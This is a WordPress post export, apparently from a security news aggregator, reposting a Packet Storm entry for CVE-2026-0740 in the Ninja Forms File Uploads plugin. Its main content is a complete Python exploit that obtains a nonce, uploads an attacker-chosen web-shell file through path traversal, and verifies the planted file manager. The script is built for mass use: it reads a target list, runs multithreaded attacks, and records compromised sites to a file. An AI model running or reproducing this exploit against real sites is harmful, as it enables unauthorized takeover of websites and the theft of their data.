{"id":53457,"date":"2026-05-12T12:49:14","date_gmt":"2026-05-12T12:49:14","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=53457"},"modified":"2026-05-12T12:49:14","modified_gmt":"2026-05-12T12:49:14","slug":"wordpress-ninja-forms-file-uploads-3326-shell-upload-traversal","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=53457","title":{"rendered":"\ud83d\udcc4 WordPress Ninja Forms &#8211; File Uploads 3.3.26 Shell Upload \/ Traversal_PACKETSTORM:220896"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-12T17:00:16&#8243;,&#8221;description&#8221;:&#8221;WordPress Ninja Forms &#8211; File Uploads plugin versions 3.3.26 and below arbitrary file upload exploit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-12T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-12T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 WordPress Ninja Forms &#8211; File Uploads 3.3.26 Shell Upload \/ Traversal&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220896&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-0740&#8243;],&#8221;sourceData&#8221;:&#8221;#!\/usr\/bin\/env python3\\n    \\&#8221;\\&#8221;\\&#8221;\\n    Ninja Forms Upload &#8211; CVE-2026-0740\\n    Author : Xenon1337\\n    \\&#8221;\\&#8221;\\&#8221;\\n    \\n    from __future__ import annotations\\n    \\n    import pathlib\\n    import random\\n    import sys\\n    import re\\n    from datetime import datetime\\n    from functools import partialmethod\\n    from urllib.parse import urljoin\\n    from concurrent.futures import ThreadPoolExecutor, as_completed\\n    \\n    import httpx\\n    from bs4 import BeautifulSoup\\n    \\n    \\n    # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; Constants &#8212;\\n    AGENT = (\\n        \\&#8221;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 \\&#8221;\\n        \\&#8221;(KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36 Edg\/120.0.0.0\\&#8221;\\n    )\\n    TIMEOUT = 10\\n    DEFAULT_THREADS = 10\\n    \\n    # ====================== CONFIGURASI PATH TRAVERSAL ======================\\n    # GANTI DI SINI SESUAI KEBUTUHAN BOS (selalu pakai forward slash \/)\\n    DEST_TRAVERSAL = \\&#8221;..\/..\/..\/..\/\\&#8221;\\n    # =======================================================================\\n    \\n    \\n    # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- Utils &#8212;\\n    class Logger:\\n        COLORS = {\\n            \\&#8221;error\\&#8221;: 31,\\n            \\&#8221;success\\&#8221;: 32,\\n            \\&#8221;warning\\&#8221;: 33,\\n            \\&#8221;info\\&#8221;: 34,\\n        }\\n    \\n        def log(self, level: str, scope: str, message: str, progress=False):\\n            color = self.COLORS[level]\\n            date, time = datetime.now().strftime(\\&#8221;%Y-%m-%d %H:%M:%S\\&#8221;).split(\\&#8221; \\&#8221;)\\n            end = \\&#8221;\\\\r\\&#8221; if progress else \\&#8221;\\\\n\\&#8221;\\n    \\n            sys.stderr.write(\\n                \\&#8221;\\\\r\\\\033[{}m[{}] [{}] [{}] [{}]\\\\033[0m {}{}\\&#8221;.format(\\n                    color, date, time, level, scope, message, end\\n                )\\n            )\\n    \\n        warning = partialmethod(log, \\&#8221;warning\\&#8221;)\\n        error   = partialmethod(log, \\&#8221;error\\&#8221;)\\n        success = partialmethod(log, \\&#8221;success\\&#8221;)\\n        info    = partialmethod(log, \\&#8221;info\\&#8221;)\\n    \\n    \\n    def normalize_url(target: str) -\\u003e list[str]:\\n        target = target.strip().rstrip(\\&#8221;\/\\&#8221;)\\n        if re.match(r&#8217;^https?:\/\/&#8217;, target, re.IGNORECASE):\\n            return [target]\\n        return [f\\&#8221;https:\/\/{target}\\&#8221;, f\\&#8221;http:\/\/{target}\\&#8221;]\\n    \\n    \\n    def load_targets(targets_file: str | None) -\\u003e list[str]:\\n        if not targets_file:\\n            return []\\n        path = pathlib.Path(targets_file)\\n        if not path.is_file():\\n            return []\\n        all_targets = set()\\n        with open(path, \\&#8221;r\\&#8221;, encoding=\\&#8221;utf-8\\&#8221;) as f:\\n            for line in f:\\n                line = line.strip()\\n                if line and not line.startswith(\\&#8221;#\\&#8221;):\\n                    all_targets.add(line)\\n        return list(all_targets)\\n    \\n    \\n    # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; Exploit &#8212;\\n    def validate_uploaded_file(file_url: str, headers: dict, timeout: float, logger: Logger) -\\u003e bool:\\n        try:\\n            with httpx.Client(\\n                follow_redirects=False,\\n                headers=headers,\\n                verify=False,\\n                timeout=timeout\\n            ) as http_client:\\n                response = http_client.get(file_url)\\n                \\n                if response.status_code != 200:\\n                    logger.warning(\\&#8221;validation\\&#8221;, \\&#8221;Status bukan 200 di {} \u2192 {}\\&#8221;.format(file_url, response.status_code))\\n                    return False\\n    \\n                if \\&#8221;File Manager\\&#8221; in response.text or \\&#8221;\\u003ctitle\\u003eFile Manager\\u003c\/title\\u003e\\&#8221; in response.text:\\n                    logger.success(\\&#8221;validation\\&#8221;, \\&#8221;\u2588 FILE MANAGER DETECTED \u2588 {}\\&#8221;.format(file_url))\\n                    return True\\n                else:\\n                    logger.warning(\\&#8221;validation\\&#8221;, \\&#8221;Marker File Manager TIDAK ditemukan di {}\\&#8221;.format(file_url))\\n                    return False\\n        except Exception as e:\\n            logger.error(\\&#8221;validation\\&#8221;, \\&#8221;Error saat validasi {}: {}\\&#8221;.format(file_url, e))\\n            return False\\n    \\n    \\n    def single_exploit(target: str, file_path: pathlib.Path, logger: Logger, headers: dict, timeout: float) -\\u003e tuple[bool, str]:\\n        ajax_url = urljoin(target, \\&#8221;\/wp-admin\/admin-ajax.php\\&#8221;)\\n        field_id = \\&#8221;\\&#8221;.join(random.choices(\\&#8221;123456789\\&#8221;, k=16))\\n    \\n        try:\\n            with httpx.Client(\\n                follow_redirects=False,\\n                headers=headers,\\n                verify=False,\\n                timeout=timeout\\n            ) as http_client:\\n                # Step 1: Dapatkan nonce\\n                data = {\\&#8221;action\\&#8221;: \\&#8221;nf_fu_get_new_nonce\\&#8221;, \\&#8221;field_id\\&#8221;: field_id}\\n                response = http_client.post(ajax_url, data=data)\\n    \\n                if response.text == \\&#8221;0\\&#8221;:\\n                    return False, \\&#8221;\\&#8221;\\n    \\n                json_result = response.json()\\n                if not json_result.get(\\&#8221;success\\&#8221;):\\n                    return False, \\&#8221;\\&#8221;\\n    \\n                nonce = json_result[\\&#8221;data\\&#8221;][\\&#8221;nonce\\&#8221;]\\n    \\n                # Step 2: Upload dengan path traversal (FORWARD SLASH SELALU)\\n                files_key = \\&#8221;files-{}\\&#8221;.format(field_id)\\n                dest_path_str = \\&#8221;{}{}\\&#8221;.format(DEST_TRAVERSAL, file_path.name)\\n    \\n                files = {files_key: (\\&#8221;image.jpg\\&#8221;, file_path.read_bytes(), \\&#8221;image\/jpeg\\&#8221;)}\\n                data = {\\n                    \\&#8221;action\\&#8221;: \\&#8221;nf_fu_upload\\&#8221;,\\n                    \\&#8221;nonce\\&#8221;: nonce,\\n                    \\&#8221;form_id\\&#8221;: field_id,\\n                    \\&#8221;field_id\\&#8221;: field_id,\\n                    \\&#8221;image_jpg\\&#8221;: dest_path_str\\n                }\\n    \\n                response = http_client.post(ajax_url, data=data, files=files)\\n                json_result = response.json()\\n    \\n                if json_result.get(\\&#8221;data\\&#8221;) and json_result[\\&#8221;data\\&#8221;].get(\\&#8221;files\\&#8221;):\\n                    uploaded_tmp_name = json_result[\\&#8221;data\\&#8221;][\\&#8221;files\\&#8221;][0][\\&#8221;tmp_name\\&#8221;]\\n                    if uploaded_tmp_name == dest_path_str:\\n                        file_url = urljoin(target, \\&#8221;\/wp-content\/uploads\/ninja-forms\/tmp\/{}\\&#8221;.format(dest_path_str))\\n                        \\n                        if validate_uploaded_file(file_url, headers, timeout, logger):\\n                            return True, file_url\\n        except Exception as e:\\n            logger.error(\\&#8221;exploit\\&#8221;, \\&#8221;Error pada {}: {}\\&#8221;.format(target, e))\\n    \\n        return False, \\&#8221;\\&#8221;\\n    \\n    \\n    def exploit_worker(target: str, file_path: pathlib.Path, logger: Logger, headers: dict, timeout: float):\\n        protocols = normalize_url(target)\\n        for proto_target in protocols:\\n            logger.info(\\&#8221;exploit\\&#8221;, \\&#8221;[THREAD] Menyerang {} &#8230;\\&#8221;.format(proto_target))\\n            success, file_url = single_exploit(proto_target, file_path, logger, headers, timeout)\\n            if success:\\n                logger.success(\\&#8221;exploit\\&#8221;, \\&#8221;BERHASIL + VALIDASI FILE MANAGER LOLOS! \u2192 {}\\&#8221;.format(file_url))\\n                return proto_target, file_url\\n            else:\\n                logger.warning(\\&#8221;exploit\\&#8221;, \\&#8221;Gagal di {}, mencoba protokol berikutnya&#8230;\\&#8221;.format(proto_target))\\n        return None, None\\n    \\n    \\n    # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; Main &#8212;\\n    def main():\\n        logger = Logger()\\n    \\n        print(\\&#8221;\\\\n\\&#8221; + \\&#8221;\u2550\\&#8221; * 90)\\n        print(\\&#8221;Ninja Forms Upload &#8211; CVE-2026-0740 [WormGPT Edition &#8211; PROXY DIHAPUS]\\&#8221;)\\n        print(\\&#8221;\u2550\\&#8221; * 90)\\n    \\n        print(\\&#8221;\\\\n[1] Input your list of targets (file atau manual URL)\\&#8221;)\\n        targets_input = input(\\&#8221;Input your list : \\&#8221;).strip()\\n    \\n        targets = []\\n        if targets_input:\\n            path = pathlib.Path(targets_input)\\n            if path.is_file():\\n                targets = load_targets(targets_input)\\n                logger.success(\\&#8221;target_loading\\&#8221;, \\&#8221;Loaded {} targets dari file\\&#8221;.format(len(targets)))\\n            else:\\n                targets = [t.strip() for t in re.split(r'[,;\\\\s]+&#8217;, targets_input) if t.strip()]\\n                logger.success(\\&#8221;target_loading\\&#8221;, \\&#8221;Loaded {} targets dari input manual\\&#8221;.format(len(targets)))\\n    \\n        if not targets:\\n            logger.error(\\&#8221;target_loading\\&#8221;, \\&#8221;Tidak ada target yang diberikan!\\&#8221;)\\n            return 1\\n    \\n        print(\\&#8221;\\\\n[2] Input your payload file\\&#8221;)\\n        while True:\\n            file_input = input(\\&#8221;Input your file : \\&#8221;).strip()\\n            file_path = pathlib.Path(file_input)\\n            if file_path.is_file():\\n                break\\n            else:\\n                logger.error(\\&#8221;file_loading\\&#8221;, \\&#8221;File tidak ditemukan: {}\\&#8221;.format(file_path))\\n    \\n        headers = {\\&#8221;User-Agent\\&#8221;: AGENT}\\n    \\n        logger.success(\\&#8221;main\\&#8221;, \\&#8221;Total target: {} | Threads: {} | Traversal: {}\\&#8221;.format(len(targets), DEFAULT_THREADS, DEST_TRAVERSAL))\\n    \\n        success_results = []\\n        with ThreadPoolExecutor(max_workers=DEFAULT_THREADS) as executor:\\n            future_to_target = {\\n                executor.submit(exploit_worker, target, file_path, logger, headers, TIMEOUT): target\\n                for target in targets\\n            }\\n    \\n            for future in as_completed(future_to_target):\\n                target = future_to_target[future]\\n                try:\\n                    success_target, file_url = future.result()\\n                    if success_target and file_url:\\n                        success_results.append(\\&#8221;{} =\\u003e {}\\&#8221;.format(success_target, file_url))\\n                        with open(\\&#8221;vuln_ninja.txt\\&#8221;, \\&#8221;a\\&#8221;, encoding=\\&#8221;utf-8\\&#8221;) as f:\\n                            f.write(\\&#8221;{}\\\\n\\&#8221;.format(file_url))\\n                except Exception as e:\\n                    logger.error(\\&#8221;thread\\&#8221;, \\&#8221;Thread error pada {}: {}\\&#8221;.format(target, e))\\n    \\n        if success_results:\\n            logger.success(\\&#8221;main\\&#8221;, \\&#8221;Hasil disimpan di vuln_ninja.txt\\&#8221;)\\n            for res in success_results:\\n                logger.success(\\&#8221;main\\&#8221;, res)\\n        else:\\n            logger.error(\\&#8221;main\\&#8221;, \\&#8221;TIDAK ADA TARGET YANG BERHASIL + VALID.\\&#8221;)\\n    \\n        return 0 if success_results else 1\\n    \\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        sys.exit(main())&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/220896&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/220896\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-12T17:00:16&#8243;,&#8221;description&#8221;:&#8221;WordPress Ninja Forms &#8211; File Uploads plugin versions 3.3.26 and below arbitrary file upload exploit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-12T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-12T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 WordPress Ninja Forms &#8211; File Uploads 3.3.26 Shell Upload \/&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-53457","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 WordPress Ninja Forms - File Uploads 3.3.26 Shell Upload \/ Traversal_PACKETSTORM:220896 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=53457\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 WordPress Ninja Forms - File Uploads 3.3.26 Shell Upload \/ Traversal_PACKETSTORM:220896 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-05-12T17:00:16&#8243;,&#8221;description&#8221;:&#8221;WordPress Ninja Forms &#8211; File Uploads plugin versions 3.3.26 and below arbitrary file upload exploit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-12T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-12T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 WordPress Ninja Forms &#8211; File Uploads 3.3.26 Shell Upload \/...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=53457\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-12T12:49:14+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=53457#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=53457\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 WordPress Ninja Forms &#8211; File Uploads 3.3.26 Shell Upload \\\/ Traversal_PACKETSTORM:220896\",\"datePublished\":\"2026-05-12T12:49:14+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=53457\"},\"wordCount\":1359,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=53457#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=53457\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=53457\",\"name\":\"\ud83d\udcc4 WordPress Ninja Forms - File Uploads 3.3.26 Shell Upload \\\/ Traversal_PACKETSTORM:220896 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-05-12T12:49:14+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=53457#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=53457\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=53457#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 WordPress Ninja Forms &#8211; File Uploads 3.3.26 Shell Upload \\\/ Traversal_PACKETSTORM:220896\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 WordPress Ninja Forms - File Uploads 3.3.26 Shell Upload \/ Traversal_PACKETSTORM:220896 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=53457","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 WordPress Ninja Forms - File Uploads 3.3.26 Shell Upload \/ Traversal_PACKETSTORM:220896 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-05-12T17:00:16&#8243;,&#8221;description&#8221;:&#8221;WordPress Ninja Forms &#8211; File Uploads plugin versions 3.3.26 and below arbitrary file upload exploit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-12T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-12T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 WordPress Ninja Forms &#8211; File Uploads 3.3.26 Shell Upload \/...","og_url":"https:\/\/zero.redgem.net\/?p=53457","og_site_name":"zero redgem","article_published_time":"2026-05-12T12:49:14+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"7 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=53457#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=53457"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 WordPress Ninja Forms &#8211; File Uploads 3.3.26 Shell Upload \/ Traversal_PACKETSTORM:220896","datePublished":"2026-05-12T12:49:14+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=53457"},"wordCount":1359,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=53457#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=53457","url":"https:\/\/zero.redgem.net\/?p=53457","name":"\ud83d\udcc4 WordPress Ninja Forms - File Uploads 3.3.26 Shell Upload \/ Traversal_PACKETSTORM:220896 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-05-12T12:49:14+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=53457#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=53457"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=53457#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 WordPress Ninja Forms &#8211; File Uploads 3.3.26 Shell Upload \/ Traversal_PACKETSTORM:220896"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/53457","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=53457"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/53457\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=53457"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=53457"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=53457"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}